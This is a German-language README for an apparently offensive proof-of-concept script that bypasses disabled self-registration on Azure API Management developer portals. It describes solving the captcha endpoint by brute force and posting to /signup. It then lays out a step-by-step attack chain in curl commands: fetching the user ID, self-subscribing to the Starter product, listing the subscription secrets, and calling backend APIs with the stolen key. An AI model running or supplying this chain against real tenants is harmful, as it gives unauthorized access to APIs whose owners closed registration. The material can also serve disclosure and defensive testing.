
Python-Skript zum Umgehen der Azure-APIM-Registrierung, wenn die Benutzeroberfläche deaktiviert ist. Dies unterscheidet sich von CVE-2025-66390, da nichts mandantenübergreifend eingerichtet werden muss.
Ein Proof-of-Concept-Skript zur Umgehung einer deaktivierten Selbstregistrierung im Entwicklerportal von Azure APIM (APIM), indem direkt die Backend-Registrierungs-API aufgerufen wird.
Entwicklerportale von Azure APIM können so konfiguriert werden, dass die Selbstregistrierung über die Portal-Oberfläche deaktiviert ist. In einigen Bereitstellungen bleibt der zugrunde liegende API-Endpunkt (/signup) aktiv und erreichbar, auch wenn der UI-Button ausgeblendet oder entfernt wurde. Dieses Skript nutzt diese Lücke aus, indem es:
/v2/captcha-challenge abruft/signup mit der gelösten Herausforderung und den Kontodetails sendetAlle Eingaben (Ziel-URL, Anmeldedaten, Proxy) werden zur Laufzeit interaktiv abgefragt.
CVE-2025-66390 (CVSS 9.8 Kritisch) beschreibt einen mandantenübergreifenden APIM-Registrierungs-Bypass: Ein Angreifer missbraucht einen Mandanten, in dem die Registrierung aktiviert ist, um Konten in einem anderen Mandanten zu registrieren, in dem die Registrierung deaktiviert ist, indem der Host-Header in API-Anfragen manipuliert wird. Microsoft stufte dies eher als Konfigurationsproblem denn als Produktschwachstelle ein.
Dies erfordert keinen Cross-Tenant; stattdessen wird lediglich der Endpunkt /v2/captcha-challenge verwendet, um das Captcha in durchschnittlich 75.000 Iterationen zu lösen.
python3 apim_signup.py
Fragt nach Ziel-URL, Kontodetails, Passwort (versteckte Eingabe, wird zur Bestätigung angezeigt) und optionalem Proxy.
Sobald die Registrierungsanfrage erfolgreich ist und die Bestätigungs-E-Mail eintrifft, sieht die vollständige Angriffskette wie folgt aus:
Klicken Sie auf den Bestätigungslink in der Registrierungs-E-Mail. Dadurch wird das Konto aktiviert, bevor die Verwaltungs-API es authentifiziert.
Rufen Sie die APIM-Verwaltungs-API mit Basic Auth (base64(email:password)) auf, um Ihre interne Benutzer-ID zu erhalten:
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
Das zurückgegebene id-Feld wird in allen nachfolgenden Verwaltungs-API-Aufrufen verwendet.
ODER rufen Sie /developer/identity?api-version=2022-04-01-preview auf <-- Version spielt keine Rolle Eine UI fordert zur Anmeldung auf; von dort erhalten Sie ebenfalls Ihre ID.
Das standardmäßige Produkt Starter wird mit approvalRequired: false ausgeliefert, d. h. es ist keine Administratorfreigabe erforderlich. Selbst-Abo per PUT:
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
Eine Bestätigungs-E-Mail ("Your subscription to the Starter") trifft von [email protected] ein.
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
Verwenden Sie den Primärschlüssel als Ocp-Apim-Subscription-Key gegenüber dem APIM-Gateway, um authentifizierte Backend-Aufrufe durchzuführen:
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
Der Zugriff wird dadurch bestimmt, welche APIs dem Produkt Starter zugeordnet sind — in einer fehlkonfigurierten Bereitstellung können dadurch interne Backends ohne weitere Authentifizierung zugänglich sein.
Weitere Details finden Sie in diesem Artikel, der die Kette sehr gut beschreibt – lassen Sie lediglich den Cross-Tenant-Teil weg. https://www.praetorian.com/blog/azure-apim-signup-bypass/